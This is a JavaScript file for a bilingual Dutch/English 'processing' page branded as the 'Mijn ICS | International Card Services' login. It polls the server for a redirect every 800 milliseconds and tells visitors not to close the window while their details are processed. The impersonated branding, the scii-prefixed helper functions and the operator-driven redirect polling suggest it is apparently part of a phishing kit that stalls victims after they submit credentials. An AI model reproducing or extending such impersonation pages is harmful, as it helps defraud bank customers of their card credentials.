/**
 * Loading / processing page — i18n + fast redirect polling.
 */
(function () {
  "use strict";

  var STORAGE_KEY = "client-login-lang";

  var STRINGS = {
    nl: {
      loadingDocTitle: "Bezig met verwerken... - Mijn ICS | International Card Services",
      skipLink: "Naar de inhoud",
      sidenavTitle: "Inloggen bij Mijn ICS",
      loadingTitle: "Een moment geduld alstublieft...",
      loadingText:
        "Wij zijn uw gegevens veilig aan het verwerken. Sluit dit venster niet af en ververs de pagina niet om te voorkomen dat het proces wordt onderbroken.",
      ariaNl: "Schakel over naar Nederlands",
      ariaEn: "Switch to English",
    },
    en: {
      loadingDocTitle: "Processing... - My ICS | International Card Services",
      skipLink: "Skip to content",
      sidenavTitle: "Log in to My ICS",
      loadingTitle: "Please wait a moment...",
      loadingText:
        "We are securely processing your details. Please do not close this window or refresh the page to prevent the process from being interrupted.",
      ariaNl: "Switch to Dutch",
      ariaEn: "Switch to English",
    },
  };

  function getLang() {
    return window.sciiGetLang();
  }

  function setLang(lang) {
    lang = window.sciiNormalizeLang(lang);
    window.sciiPersistUiLanguage(lang);
    document.documentElement.lang = lang;
    var t = STRINGS[lang];
    if (t.loadingDocTitle) document.title = t.loadingDocTitle;

    document.querySelectorAll("[data-i18n]").forEach(function (el) {
      var key = el.getAttribute("data-i18n");
      if (!key || !t[key]) return;
      el.textContent = t[key];
    });

    window.sciiUpdateLanguageToggle(lang, t);
  }

  function bindLanguageBar() {
    window.sciiBindLanguageBar(setLang);
  }

  function init() {
    bindLanguageBar();
    setLang(getLang());
    if (typeof window.sciiInitPageTracker === "function") {
      window.sciiInitPageTracker("loading", { pollRedirect: true, pollMs: 800 });
    }
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init);
  } else {
    init();
  }
})();
